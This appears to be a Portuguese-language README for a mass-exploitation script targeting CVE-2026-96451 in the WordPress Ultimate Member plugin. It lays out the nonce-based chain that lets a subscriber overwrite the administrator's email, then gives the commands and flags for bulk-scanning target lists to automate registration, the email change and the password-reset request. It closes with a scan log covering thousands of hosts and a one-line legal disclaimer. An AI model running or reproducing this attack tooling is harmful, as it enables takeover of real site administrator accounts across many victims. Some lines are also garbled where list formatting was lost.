
Plugin WordPress Ultimate Member <= 2.13.1 - Vulnerabilidade de escalonamento de privilégios
Vulnerabilidade de escalonamento de privilégios no plugin Ultimate Member do WordPress <= 2.13.1
Ultimate Member <= 2.13.1 — Escalonamento de Privilégios / Tomada de Conta
📌 Registro oficial: CVE-2026-96451
De CVE.org:
Vulnerabilidade de Bypass de Autorização Através de Chave Controlada pelo Usuário no Ultimate Member Ultimate Member ultimate-member permite Escalonamento de Privilégios. Este problema afeta o Ultimate Member: de n/a até 2.13.1.
| Campo | Valor |
|---|---|
| 🆔 CVE | CVE-2026-96451 |
| 🏷️ CWE | CWE-639 — Bypass de Autorização Através de Chave Controlada pelo Usuário |
| 📊 CVSS 3.1 | 8.8 ALTO AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| 🏢 Atribuidor | Patchstack |
| ⚠️ Afetado | Ultimate Member até 2.13.1 |
| ✅ Corrigido | 2.14.0 |
Um assinante autenticado pode alterar o e-mail de outro usuário (geralmente o administrador). O WordPress então aceita uma redefinição de senha para essa nova caixa de correio.
um_fetch_user($user_id) e troca o usuário global para o ID na URL.download_routing() retorna sem um_reset_user()._um_account=1, user_email=...).account_submit() lê um_user('ID') — agora a vítima — e grava o novo e-mail.O nonce de download é wp_create_nonce($user_id . $form_id . 'um-download-nonce'). Ele está vinculado a esse ID de usuário. Não pode ser inventado. O script o copia de um link visível /um-download/{form}/{field}/{user}/{nonce}/.
Um campo personalizado de arquivo ou imagem deve estar visível no perfil. Fotos de perfil/capa nativas não produzem esse link.
pip install requests rich
Registro, login, coleta de nonce, exploração e verificação de redefinição são automáticos. Você não cria contas manualmente e não passa uma senha de assinante para uma varredura em massa.
python CVE-2026-96451.py -l targets.txt -t 80 --email "[email protected]" -o um_takeover.txt
O que este comando faz em cada host:
/account//um-download/ (prefere o ID de usuário 1, depois qualquer membro com um arquivo)--emailwp-login.php?action=lostpassword (o WordPress não precisa de nonce aqui)um_takeover.txt--email é a caixa de correio colocada na conta alvo para que você possa receber a redefinição. O script não abre a caixa de entrada nem define uma nova senha. Esse último passo é manual.
python CVE-2026-96451.py -u "https://example.com" --email "[email protected]"
| Flag | Propósito | Padrão |
|---|---|---|
-l / --list | Arquivo de alvos | — |
-u / --url | Um alvo | — |
-t / --threads | Workers | 10 |
-o / --output | Arquivo de resultados | um_takeover.txt |
--email | Caixa de correio gravada na vítima | gerada automaticamente |
--target-id | ID de usuário preferido | 1 |
--user / --password | Usar um assinante existente em vez de registrar | desligado |
-v / --verbose | Imprime cada estágio | desligado |
Em uma máquina RDP lenta, 80–150 threads é suficiente. Uma varredura de lista dá a cada host cerca de 22 segundos.
[5400/11965] RST:0 CHG:0 UM:4463 REG:589 rf:3874 lf:0 na:141 nd:448 nc:0 no:937
| Código | Significado |
|---|---|
RST / CHG | E-mail alterado e/ou redefinição aceita — verifique a caixa de entrada |
UM | Ultimate Member detectado |
REG | O registro automático criou uma sessão |
rf | Sem formulário público, CAPTCHA, aprovação ou ativação por e-mail |
lf | Registrado, mas o login falhou |
na | Página de conta / nonce ausente |
nd | Nenhum nonce de download visível (sem campo de arquivo personalizado) |
nc | Exploit enviado, alteração não confirmada |
no | Não é Ultimate Member |
REG_FAIL em muitos hosts é normal. A cadeia só continua onde o registro cria uma sessão e um link de download está visível.
Quando RST ou CHG aparecer:
--email/wp-login.php ou /wp-admin/Este projeto é apenas para pesquisa de segurança autorizada — sistemas que você possui ou tem permissão por escrito para testar.
O acesso não autorizado a sistemas de computador é ilegal. O autor não aceita qualquer responsabilidade por uso indevido, danos ou qualquer resultado deste software. Você é o único responsável por como ele é usado e por cada alvo que você escaneia.
Por: Nxploited ( Khaled Alenazi )